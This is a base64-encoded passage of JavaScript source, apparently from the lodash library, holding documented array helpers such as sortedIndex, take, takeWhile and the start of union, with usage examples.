IH1cblxuICAgIC8qKlxuICAgICAqIFVzZXMgYSBiaW5hcnkgc2VhcmNoIHRvIGRldGVybWluZSB0aGUgbG93ZXN0IGluZGV4IGF0IHdoaWNoIGB2YWx1ZWBcbiAgICAgKiBzaG91bGQgYmUgaW5zZXJ0ZWQgaW50byBgYXJyYXlgIGluIG9yZGVyIHRvIG1haW50YWluIGl0cyBzb3J0IG9yZGVyLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIHNvcnRlZCBhcnJheSB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGV2YWx1YXRlLlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGluZGV4IGF0IHdoaWNoIGB2YWx1ZWAgc2hvdWxkIGJlIGluc2VydGVkXG4gICAgICogIGludG8gYGFycmF5YC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5zb3J0ZWRJbmRleChbMzAsIDUwXSwgNDApO1xuICAgICAqIC8vID0+IDFcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBzb3J0ZWRJbmRleChhcnJheSwgdmFsdWUpIHtcbiAgICAgIHJldHVybiBiYXNlU29ydGVkSW5kZXgoYXJyYXksIHZhbHVlKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLnNvcnRlZEluZGV4YCBleGNlcHQgdGhhdCBpdCBhY2NlcHRzIGBpdGVyYXRlZWBcbiAgICAgKiB3aGljaCBpcyBpbnZva2VkIGZvciBgdmFsdWVgIGFuZCBlYWNoIGVsZW1lbnQgb2YgYGFycmF5YCB0byBjb21wdXRlIHRoZWlyXG4gICAgICogc29ydCByYW5raW5nLiBUaGUgaXRlcmF0ZWUgaXMgaW52b2tlZCB3aXRoIG9uZSBhcmd1bWVudDogKHZhbHVlKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBzb3J0ZWQgYXJyYXkgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBldmFsdWF0ZS5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWU9Xy5pZGVudGl0eV0gVGhlIGl0ZXJhdGVlIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgaW5kZXggYXQgd2hpY2ggYHZhbHVlYCBzaG91bGQgYmUgaW5zZXJ0ZWRcbiAgICAgKiAgaW50byBgYXJyYXlgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgb2JqZWN0cyA9IFt7ICd4JzogNCB9LCB7ICd4JzogNSB9XTtcbiAgICAgKlxuICAgICAqIF8uc29ydGVkSW5kZXhCeShvYmplY3RzLCB7ICd4JzogNCB9LCBmdW5jdGlvbihvKSB7IHJldHVybiBvLng7IH0pO1xuICAgICAqIC8vID0+IDBcbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5wcm9wZXJ0eWAgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8uc29ydGVkSW5kZXhCeShvYmplY3RzLCB7ICd4JzogNCB9LCAneCcpO1xuICAgICAqIC8vID0+IDBcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBzb3J0ZWRJbmRleEJ5KGFycmF5LCB2YWx1ZSwgaXRlcmF0ZWUpIHtcbiAgICAgIHJldHVybiBiYXNlU29ydGVkSW5kZXhCeShhcnJheSwgdmFsdWUsIGdldEl0ZXJhdGVlKGl0ZXJhdGVlLCAyKSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5pbmRleE9mYCBleGNlcHQgdGhhdCBpdCBwZXJmb3JtcyBhIGJpbmFyeVxuICAgICAqIHNlYXJjaCBvbiBhIHNvcnRlZCBgYXJyYXlgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gc2VhcmNoIGZvci5cbiAgICAgKiBAcmV0dXJucyB7bnVtYmVyfSBSZXR1cm5zIHRoZSBpbmRleCBvZiB0aGUgbWF0Y2hlZCB2YWx1ZSwgZWxzZSBgLTFgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnNvcnRlZEluZGV4T2YoWzQsIDUsIDUsIDUsIDZdLCA1KTtcbiAgICAgKiAvLyA9PiAxXG4gICAgICovXG4gICAgZnVuY3Rpb24gc29ydGVkSW5kZXhPZihhcnJheSwgdmFsdWUpIHtcbiAgICAgIHZhciBsZW5ndGggPSBhcnJheSA9PSBudWxsID8gMCA6IGFycmF5Lmxlbmd0aDtcbiAgICAgIGlmIChsZW5ndGgpIHtcbiAgICAgICAgdmFyIGluZGV4ID0gYmFzZVNvcnRlZEluZGV4KGFycmF5LCB2YWx1ZSk7XG4gICAgICAgIGlmIChpbmRleCA8IGxlbmd0aCAmJiBlcShhcnJheVtpbmRleF0sIHZhbHVlKSkge1xuICAgICAgICAgIHJldHVybiBpbmRleDtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIC0xO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uc29ydGVkSW5kZXhgIGV4Y2VwdCB0aGF0IGl0IHJldHVybnMgdGhlIGhpZ2hlc3RcbiAgICAgKiBpbmRleCBhdCB3aGljaCBgdmFsdWVgIHNob3VsZCBiZSBpbnNlcnRlZCBpbnRvIGBhcnJheWAgaW4gb3JkZXIgdG9cbiAgICAgKiBtYWludGFpbiBpdHMgc29ydCBvcmRlci5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBzb3J0ZWQgYXJyYXkgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBldmFsdWF0ZS5cbiAgICAgKiBAcmV0dXJucyB7bnVtYmVyfSBSZXR1cm5zIHRoZSBpbmRleCBhdCB3aGljaCBgdmFsdWVgIHNob3VsZCBiZSBpbnNlcnRlZFxuICAgICAqICBpbnRvIGBhcnJheWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uc29ydGVkTGFzdEluZGV4KFs0LCA1LCA1LCA1LCA2XSwgNSk7XG4gICAgICogLy8gPT4gNFxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHNvcnRlZExhc3RJbmRleChhcnJheSwgdmFsdWUpIHtcbiAgICAgIHJldHVybiBiYXNlU29ydGVkSW5kZXgoYXJyYXksIHZhbHVlLCB0cnVlKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLnNvcnRlZExhc3RJbmRleGAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBgaXRlcmF0ZWVgXG4gICAgICogd2hpY2ggaXMgaW52b2tlZCBmb3IgYHZhbHVlYCBhbmQgZWFjaCBlbGVtZW50IG9mIGBhcnJheWAgdG8gY29tcHV0ZSB0aGVpclxuICAgICAqIHNvcnQgcmFua2luZy4gVGhlIGl0ZXJhdGVlIGlzIGludm9rZWQgd2l0aCBvbmUgYXJndW1lbnQ6ICh2YWx1ZSkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgc29ydGVkIGFycmF5IHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gZXZhbHVhdGUuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBpdGVyYXRlZSBpbnZva2VkIHBlciBlbGVtZW50LlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGluZGV4IGF0IHdoaWNoIGB2YWx1ZWAgc2hvdWxkIGJlIGluc2VydGVkXG4gICAgICogIGludG8gYGFycmF5YC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdHMgPSBbeyAneCc6IDQgfSwgeyAneCc6IDUgfV07XG4gICAgICpcbiAgICAgKiBfLnNvcnRlZExhc3RJbmRleEJ5KG9iamVjdHMsIHsgJ3gnOiA0IH0sIGZ1bmN0aW9uKG8pIHsgcmV0dXJuIG8ueDsgfSk7XG4gICAgICogLy8gPT4gMVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5zb3J0ZWRMYXN0SW5kZXhCeShvYmplY3RzLCB7ICd4JzogNCB9LCAneCcpO1xuICAgICAqIC8vID0+IDFcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBzb3J0ZWRMYXN0SW5kZXhCeShhcnJheSwgdmFsdWUsIGl0ZXJhdGVlKSB7XG4gICAgICByZXR1cm4gYmFzZVNvcnRlZEluZGV4QnkoYXJyYXksIHZhbHVlLCBnZXRJdGVyYXRlZShpdGVyYXRlZSwgMiksIHRydWUpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8ubGFzdEluZGV4T2ZgIGV4Y2VwdCB0aGF0IGl0IHBlcmZvcm1zIGEgYmluYXJ5XG4gICAgICogc2VhcmNoIG9uIGEgc29ydGVkIGBhcnJheWAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBzZWFyY2ggZm9yLlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIGluZGV4IG9mIHRoZSBtYXRjaGVkIHZhbHVlLCBlbHNlIGAtMWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uc29ydGVkTGFzdEluZGV4T2YoWzQsIDUsIDUsIDUsIDZdLCA1KTtcbiAgICAgKiAvLyA9PiAzXG4gICAgICovXG4gICAgZnVuY3Rpb24gc29ydGVkTGFzdEluZGV4T2YoYXJyYXksIHZhbHVlKSB7XG4gICAgICB2YXIgbGVuZ3RoID0gYXJyYXkgPT0gbnVsbCA/IDAgOiBhcnJheS5sZW5ndGg7XG4gICAgICBpZiAobGVuZ3RoKSB7XG4gICAgICAgIHZhciBpbmRleCA9IGJhc2VTb3J0ZWRJbmRleChhcnJheSwgdmFsdWUsIHRydWUpIC0gMTtcbiAgICAgICAgaWYgKGVxKGFycmF5W2luZGV4XSwgdmFsdWUpKSB7XG4gICAgICAgICAgcmV0dXJuIGluZGV4O1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICByZXR1cm4gLTE7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy51bmlxYCBleGNlcHQgdGhhdCBpdCdzIGRlc2lnbmVkIGFuZCBvcHRpbWl6ZWRcbiAgICAgKiBmb3Igc29ydGVkIGFycmF5cy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpbnNwZWN0LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGR1cGxpY2F0ZSBmcmVlIGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnNvcnRlZFVuaXEoWzEsIDEsIDJdKTtcbiAgICAgKiAvLyA9PiBbMSwgMl1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBzb3J0ZWRVbmlxKGFycmF5KSB7XG4gICAgICByZXR1cm4gKGFycmF5ICYmIGFycmF5Lmxlbmd0aClcbiAgICAgICAgPyBiYXNlU29ydGVkVW5pcShhcnJheSlcbiAgICAgICAgOiBbXTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLnVuaXFCeWAgZXhjZXB0IHRoYXQgaXQncyBkZXNpZ25lZCBhbmQgb3B0aW1pemVkXG4gICAgICogZm9yIHNvcnRlZCBhcnJheXMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gaW5zcGVjdC5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWVdIFRoZSBpdGVyYXRlZSBpbnZva2VkIHBlciBlbGVtZW50LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgbmV3IGR1cGxpY2F0ZSBmcmVlIGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnNvcnRlZFVuaXFCeShbMS4xLCAxLjIsIDIuMywgMi40XSwgTWF0aC5mbG9vcik7XG4gICAgICogLy8gPT4gWzEuMSwgMi4zXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHNvcnRlZFVuaXFCeShhcnJheSwgaXRlcmF0ZWUpIHtcbiAgICAgIHJldHVybiAoYXJyYXkgJiYgYXJyYXkubGVuZ3RoKVxuICAgICAgICA/IGJhc2VTb3J0ZWRVbmlxKGFycmF5LCBnZXRJdGVyYXRlZShpdGVyYXRlZSwgMikpXG4gICAgICAgIDogW107XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogR2V0cyBhbGwgYnV0IHRoZSBmaXJzdCBlbGVtZW50IG9mIGBhcnJheWAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gcXVlcnkuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBzbGljZSBvZiBgYXJyYXlgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnRhaWwoWzEsIDIsIDNdKTtcbiAgICAgKiAvLyA9PiBbMiwgM11cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB0YWlsKGFycmF5KSB7XG4gICAgICB2YXIgbGVuZ3RoID0gYXJyYXkgPT0gbnVsbCA/IDAgOiBhcnJheS5sZW5ndGg7XG4gICAgICByZXR1cm4gbGVuZ3RoID8gYmFzZVNsaWNlKGFycmF5LCAxLCBsZW5ndGgpIDogW107XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIHNsaWNlIG9mIGBhcnJheWAgd2l0aCBgbmAgZWxlbWVudHMgdGFrZW4gZnJvbSB0aGUgYmVnaW5uaW5nLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IEFycmF5XG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIHF1ZXJ5LlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbbj0xXSBUaGUgbnVtYmVyIG9mIGVsZW1lbnRzIHRvIHRha2UuXG4gICAgICogQHBhcmFtLSB7T2JqZWN0fSBbZ3VhcmRdIEVuYWJsZXMgdXNlIGFzIGFuIGl0ZXJhdGVlIGZvciBtZXRob2RzIGxpa2UgYF8ubWFwYC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIHNsaWNlIG9mIGBhcnJheWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8udGFrZShbMSwgMiwgM10pO1xuICAgICAqIC8vID0+IFsxXVxuICAgICAqXG4gICAgICogXy50YWtlKFsxLCAyLCAzXSwgMik7XG4gICAgICogLy8gPT4gWzEsIDJdXG4gICAgICpcbiAgICAgKiBfLnRha2UoWzEsIDIsIDNdLCA1KTtcbiAgICAgKiAvLyA9PiBbMSwgMiwgM11cbiAgICAgKlxuICAgICAqIF8udGFrZShbMSwgMiwgM10sIDApO1xuICAgICAqIC8vID0+IFtdXG4gICAgICovXG4gICAgZnVuY3Rpb24gdGFrZShhcnJheSwgbiwgZ3VhcmQpIHtcbiAgICAgIGlmICghKGFycmF5ICYmIGFycmF5Lmxlbmd0aCkpIHtcbiAgICAgICAgcmV0dXJuIFtdO1xuICAgICAgfVxuICAgICAgbiA9IChndWFyZCB8fCBuID09PSB1bmRlZmluZWQpID8gMSA6IHRvSW50ZWdlcihuKTtcbiAgICAgIHJldHVybiBiYXNlU2xpY2UoYXJyYXksIDAsIG4gPCAwID8gMCA6IG4pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBzbGljZSBvZiBgYXJyYXlgIHdpdGggYG5gIGVsZW1lbnRzIHRha2VuIGZyb20gdGhlIGVuZC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBxdWVyeS5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW249MV0gVGhlIG51bWJlciBvZiBlbGVtZW50cyB0byB0YWtlLlxuICAgICAqIEBwYXJhbS0ge09iamVjdH0gW2d1YXJkXSBFbmFibGVzIHVzZSBhcyBhbiBpdGVyYXRlZSBmb3IgbWV0aG9kcyBsaWtlIGBfLm1hcGAuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBzbGljZSBvZiBgYXJyYXlgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnRha2VSaWdodChbMSwgMiwgM10pO1xuICAgICAqIC8vID0+IFszXVxuICAgICAqXG4gICAgICogXy50YWtlUmlnaHQoWzEsIDIsIDNdLCAyKTtcbiAgICAgKiAvLyA9PiBbMiwgM11cbiAgICAgKlxuICAgICAqIF8udGFrZVJpZ2h0KFsxLCAyLCAzXSwgNSk7XG4gICAgICogLy8gPT4gWzEsIDIsIDNdXG4gICAgICpcbiAgICAgKiBfLnRha2VSaWdodChbMSwgMiwgM10sIDApO1xuICAgICAqIC8vID0+IFtdXG4gICAgICovXG4gICAgZnVuY3Rpb24gdGFrZVJpZ2h0KGFycmF5LCBuLCBndWFyZCkge1xuICAgICAgdmFyIGxlbmd0aCA9IGFycmF5ID09IG51bGwgPyAwIDogYXJyYXkubGVuZ3RoO1xuICAgICAgaWYgKCFsZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIFtdO1xuICAgICAgfVxuICAgICAgbiA9IChndWFyZCB8fCBuID09PSB1bmRlZmluZWQpID8gMSA6IHRvSW50ZWdlcihuKTtcbiAgICAgIG4gPSBsZW5ndGggLSBuO1xuICAgICAgcmV0dXJuIGJhc2VTbGljZShhcnJheSwgbiA8IDAgPyAwIDogbiwgbGVuZ3RoKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgc2xpY2Ugb2YgYGFycmF5YCB3aXRoIGVsZW1lbnRzIHRha2VuIGZyb20gdGhlIGVuZC4gRWxlbWVudHMgYXJlXG4gICAgICogdGFrZW4gdW50aWwgYHByZWRpY2F0ZWAgcmV0dXJucyBmYWxzZXkuIFRoZSBwcmVkaWNhdGUgaXMgaW52b2tlZCB3aXRoXG4gICAgICogdGhyZWUgYXJndW1lbnRzOiAodmFsdWUsIGluZGV4LCBhcnJheSkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gcXVlcnkuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW3ByZWRpY2F0ZT1fLmlkZW50aXR5XSBUaGUgZnVuY3Rpb24gaW52b2tlZCBwZXIgaXRlcmF0aW9uLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgc2xpY2Ugb2YgYGFycmF5YC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIHVzZXJzID0gW1xuICAgICAqICAgeyAndXNlcic6ICdiYXJuZXknLCAgJ2FjdGl2ZSc6IHRydWUgfSxcbiAgICAgKiAgIHsgJ3VzZXInOiAnZnJlZCcsICAgICdhY3RpdmUnOiBmYWxzZSB9LFxuICAgICAqICAgeyAndXNlcic6ICdwZWJibGVzJywgJ2FjdGl2ZSc6IGZhbHNlIH1cbiAgICAgKiBdO1xuICAgICAqXG4gICAgICogXy50YWtlUmlnaHRXaGlsZSh1c2VycywgZnVuY3Rpb24obykgeyByZXR1cm4gIW8uYWN0aXZlOyB9KTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ2ZyZWQnLCAncGViYmxlcyddXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ubWF0Y2hlc2AgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8udGFrZVJpZ2h0V2hpbGUodXNlcnMsIHsgJ3VzZXInOiAncGViYmxlcycsICdhY3RpdmUnOiBmYWxzZSB9KTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ3BlYmJsZXMnXVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLm1hdGNoZXNQcm9wZXJ0eWAgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8udGFrZVJpZ2h0V2hpbGUodXNlcnMsIFsnYWN0aXZlJywgZmFsc2VdKTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ2ZyZWQnLCAncGViYmxlcyddXG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ucHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLnRha2VSaWdodFdoaWxlKHVzZXJzLCAnYWN0aXZlJyk7XG4gICAgICogLy8gPT4gW11cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB0YWtlUmlnaHRXaGlsZShhcnJheSwgcHJlZGljYXRlKSB7XG4gICAgICByZXR1cm4gKGFycmF5ICYmIGFycmF5Lmxlbmd0aClcbiAgICAgICAgPyBiYXNlV2hpbGUoYXJyYXksIGdldEl0ZXJhdGVlKHByZWRpY2F0ZSwgMyksIGZhbHNlLCB0cnVlKVxuICAgICAgICA6IFtdO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBzbGljZSBvZiBgYXJyYXlgIHdpdGggZWxlbWVudHMgdGFrZW4gZnJvbSB0aGUgYmVnaW5uaW5nLiBFbGVtZW50c1xuICAgICAqIGFyZSB0YWtlbiB1bnRpbCBgcHJlZGljYXRlYCByZXR1cm5zIGZhbHNleS4gVGhlIHByZWRpY2F0ZSBpcyBpbnZva2VkIHdpdGhcbiAgICAgKiB0aHJlZSBhcmd1bWVudHM6ICh2YWx1ZSwgaW5kZXgsIGFycmF5KS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBBcnJheVxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBxdWVyeS5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbcHJlZGljYXRlPV8uaWRlbnRpdHldIFRoZSBmdW5jdGlvbiBpbnZva2VkIHBlciBpdGVyYXRpb24uXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBzbGljZSBvZiBgYXJyYXlgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgdXNlcnMgPSBbXG4gICAgICogICB7ICd1c2VyJzogJ2Jhcm5leScsICAnYWN0aXZlJzogZmFsc2UgfSxcbiAgICAgKiAgIHsgJ3VzZXInOiAnZnJlZCcsICAgICdhY3RpdmUnOiBmYWxzZSB9LFxuICAgICAqICAgeyAndXNlcic6ICdwZWJibGVzJywgJ2FjdGl2ZSc6IHRydWUgfVxuICAgICAqIF07XG4gICAgICpcbiAgICAgKiBfLnRha2VXaGlsZSh1c2VycywgZnVuY3Rpb24obykgeyByZXR1cm4gIW8uYWN0aXZlOyB9KTtcbiAgICAgKiAvLyA9PiBvYmplY3RzIGZvciBbJ2Jhcm5leScsICdmcmVkJ11cbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzYCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy50YWtlV2hpbGUodXNlcnMsIHsgJ3VzZXInOiAnYmFybmV5JywgJ2FjdGl2ZSc6IGZhbHNlIH0pO1xuICAgICAqIC8vID0+IG9iamVjdHMgZm9yIFsnYmFybmV5J11cbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzUHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLnRha2VXaGlsZSh1c2VycywgWydhY3RpdmUnLCBmYWxzZV0pO1xuICAgICAqIC8vID0+IG9iamVjdHMgZm9yIFsnYmFybmV5JywgJ2ZyZWQnXVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy50YWtlV2hpbGUodXNlcnMsICdhY3RpdmUnKTtcbiAgICAgKiAvLyA9PiBbXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHRha2VXaGlsZShhcnJheSwgcHJlZGljYXRlKSB7XG4gICAgICByZXR1cm4gKGFycmF5ICYmIGFycmF5Lmxlbmd0aClcbiAgICAgICAgPyBiYXNlV2hpbGUoYXJyYXksIGdldEl0ZXJhdGVlKHByZWRpY2F0ZSwgMykpXG4gICAgICAgIDogW107XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBhcnJheSBvZiB1bmlxdWUgdmFsdWVzLCBpbiBvcmRlciwgZnJvbSBhbGwgZ2l2ZW4gYXJyYXlzIHVzaW5nXG4gICAgICogW2BTYW1lVmFsdWVaZXJvYF0oaHR0cDovL2VjbWEtaW50ZXJuYXRpb25hbC5vcmcvZWNtYS0yNjIvNy4wLyNzZWMtc2FtZXZhbHVlemVybylcbiAgICAgKiBmb3IgZXF1YWxpdHkgY29tcGFyaXNvbnMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgQXJyYXlcbiAgICAgKiBAcGFyYW0gey4uLkFycmF5fSBbYXJyYXlzXSBUaGUgYXJyYXlzIHRvIGluc3BlY3QuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBuZXcgYXJyYXkgb2YgY29tYmluZWQgdmFsdWVzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnVuaW9uKFsyXSwgWzEsIDJdKTtcbiAgICAgKiAvLyA9PiBbMiwgMV1cbiAgICAgKi9cbiAgICB2YXIgdW5pb24gPSBiYXNlUmVzdChmdW5jdGlvbihhcnJheXMpIHtcbiAgICAgIHJldHVybiBiYXNlVW5pcShiYXNlRmxhdHRlbihhcnJheXMsIDEs